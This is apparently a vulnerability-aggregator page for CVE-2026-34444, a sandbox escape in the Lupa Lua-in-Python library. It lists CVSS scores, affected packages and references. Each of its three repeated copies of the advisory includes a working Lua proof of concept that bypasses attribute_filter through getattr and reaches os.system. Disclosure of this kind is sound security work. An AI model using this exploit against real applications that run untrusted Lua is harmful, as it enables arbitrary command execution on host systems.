CVE-2026-34444
Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr
Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.9
Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr
Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
- Record
CVE-2026-34444- CVSS 4.0
- 7.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-284, CWE-639, CWE-914
- Updated
- 2026-11-02
EUVDEUVD-2026-19346
7.9
Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
- Record
EUVD-2026-19346- CVSS 4.0
- 7.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-69v7-xpr6-6gjm
7.9
Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr
Summary
The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.
However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Details
The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.
In practice, it only applies to direct attribute access:
obj.attr→ filteredgetattr(obj, "attr")→ not filtered Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.
An attacker can use getattr to-
- Access
__class__ - Walk the
__mro__chain - Call
__subclasses__() - Iterate over available classes
- Find a function that exposes
__globals__ - Retrieve something like
os.system
At that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that attribute_filter is expected to enforce.
PoC
The following example shows how the filter can be bypassed to execute os.system:'
import lupa
from lupa import LuaRuntime
def protected_attribute_filter(obj, attr_name, is_setting):
if isinstance(attr_name, str) and attr_name.startswith('_'):
raise AttributeError(f"Access to '{attr_name}' is forbidden")
return attr_name
lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)
class UserProfile:
def __init__(self, name): self.name = name
lua.globals().user = UserProfile("test")
lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")
local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
setattr(user, "run", system)
user.run("id")
end
end
""")
Impact
An attacker who can execute Lua code can:
- Bypass the
attribute_filter - Access Python internals
- Traverse the object graph
- Reach execution primitives
This leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.
- Record
GHSA-69v7-xpr6-6gjm- CVSS 4.0
- 7.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-284, CWE-693
- Updated
- 2026-11-02
NVD
7.9
Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
- Record
CVE-2026-34444- CVSS 4.0
- 7.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-284, CWE-639, CWE-914
- Updated
- 2026-11-02
OSV
7.9
Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr
Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
- Record
CVE-2026-34444- CVSS 4.0
- 7.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - Weakness
- CWE-284, CWE-639
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-34444
10.0
Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
- Record
DEBIAN-CVE-2026-34444- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
Show 4 moreShow less
OSVGHSA-69v7-xpr6-6gjm
7.9
Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr
Summary
The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.
However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Details
The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.
In practice, it only applies to direct attribute access:
obj.attr→ filteredgetattr(obj, "attr")→ not filtered Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.
An attacker can use getattr to-
- Access
__class__ - Walk the
__mro__chain - Call
__subclasses__() - Iterate over available classes
- Find a function that exposes
__globals__ - Retrieve something like
os.system
At that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that attribute_filter is expected to enforce.
PoC
The following example shows how the filter can be bypassed to execute os.system:'
import lupa
from lupa import LuaRuntime
def protected_attribute_filter(obj, attr_name, is_setting):
if isinstance(attr_name, str) and attr_name.startswith('_'):
raise AttributeError(f"Access to '{attr_name}' is forbidden")
return attr_name
lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)
class UserProfile:
def __init__(self, name): self.name = name
lua.globals().user = UserProfile("test")
lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")
local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
setattr(user, "run", system)
user.run("id")
end
end
""")
Impact
An attacker who can execute Lua code can:
- Bypass the
attribute_filter - Access Python internals
- Traverse the object graph
- Reach execution primitives
This leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.
- Record
GHSA-69v7-xpr6-6gjm- CVSS 4.0
- 7.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-284, CWE-693
- Updated
- 2026-11-02
OSVPYSEC-2026-2613
7.9
Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr
Summary
The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.
However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Details
The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.
In practice, it only applies to direct attribute access:
obj.attr→ filteredgetattr(obj, "attr")→ not filtered Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.
An attacker can use getattr to-
- Access
__class__ - Walk the
__mro__chain - Call
__subclasses__() - Iterate over available classes
- Find a function that exposes
__globals__ - Retrieve something like
os.system
At that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that attribute_filter is expected to enforce.
PoC
The following example shows how the filter can be bypassed to execute os.system:'
import lupa
from lupa import LuaRuntime
def protected_attribute_filter(obj, attr_name, is_setting):
if isinstance(attr_name, str) and attr_name.startswith('_'):
raise AttributeError(f"Access to '{attr_name}' is forbidden")
return attr_name
lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)
class UserProfile:
def __init__(self, name): self.name = name
lua.globals().user = UserProfile("test")
lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")
local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
setattr(user, "run", system)
user.run("id")
end
end
""")
Impact
An attacker who can execute Lua code can:
- Bypass the
attribute_filter - Access Python internals
- Traverse the object graph
- Reach execution primitives
This leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.
- Record
PYSEC-2026-2613- CVSS 4.0
- 7.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-34444
7.9
Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
- Record
UBUNTU-CVE-2026-34444- CVSS 4.0
- 7.9 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H - CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10507-1 No score
python311-lupa-2.7-1.1 on GA media
These are all security issues fixed in the python311-lupa-2.7-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10507-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
lupaPyPI |
through 2.6 | None known |
python-lupaDebian:12 |
All versions, plus listed versions 1.14.1+dfsg-12.2+dfsg-12.4+dfsg-1 |
None known |
python-lupaDebian:13 |
All versions, plus listed versions 2.4+dfsg-1 |
None known |
python-lupaDebian:14 |
All versions, plus listed versions 2.4+dfsg-1 |
None known |
lupaPyPI |
through 2.6, plus listed versions 0.10.100.110.120.13 Show 40 moreShow less0.13.10.140.150.160.170.180.190.20.200.210.30.40.50.60.70.80.91.01.0.11.0b11.11.101.111.121.131.14.11.21.31.41.51.61.71.81.92.02.12.22.32.42.5 |
None known |
python-lupaUbuntu:18.04:LTS |
All versions, plus listed versions 1.5+dfsg-11.6+dfsg-1 |
None known |
python-lupaUbuntu:20.04:LTS |
All versions, plus listed versions 1.6+dfsg-41.6+dfsg-4build11.9+dfsg-11.9+dfsg-1build1 |
None known |
python-lupaUbuntu:22.04:LTS |
All versions, plus listed versions 1.9+dfsg-1build31.10+dfsg-11.10+dfsg-1build1 |
None known |
python-lupaUbuntu:24.04:LTS |
All versions, plus listed versions 1.14.1+dfsg-1build11.14.1+dfsg-1build21.14.1+dfsg-1build3 |
None known |
python-lupaUbuntu:25.10 |
All versions, plus listed versions 2.4+dfsg-1build1 |
None known |
python-lupaUbuntu:26.10 |
All versions, plus listed versions 2.4+dfsg-1build3 |
None known |
python-lupaUbuntu:26.04:LTS |
All versions, plus listed versions 2.4+dfsg-1build12.4+dfsg-1build22.4+dfsg-1build3 |
None known |
python-lupaopenSUSE:Tumbleweed |
before 2.7-1.1 | 2.7-1.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | redyank/CVE-2026-34444 | 2026-04-03 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-34444 is a high vulnerability (CVSS 7.9) in Scoder Lupa, published April 6, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.64%, the 50th percentile. Fixed in python-lupa 2.7-1.1.
References
github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm
access.redhat.com/security/cve/CVE-2026-34444
bugzilla.redhat.com/show_bug.cgi?id=2455413
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34444.json
access.redhat.com/errata/RHSA-2026:22993
nvd.nist.gov/vuln/detail/CVE-2026-34444
Show 8 moreShow less
github.com/advisories/GHSA-69v7-xpr6-6gjm
github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34444.json
security-tracker.debian.org/tracker/CVE-2026-34444
github.com/scoder/lupa
pypi.org/project/lupa
ubuntu.com/security/CVE-2026-34444
cve.org/CVERecord?id=CVE-2026-34444
suse.com/security/cve/CVE-2026-34444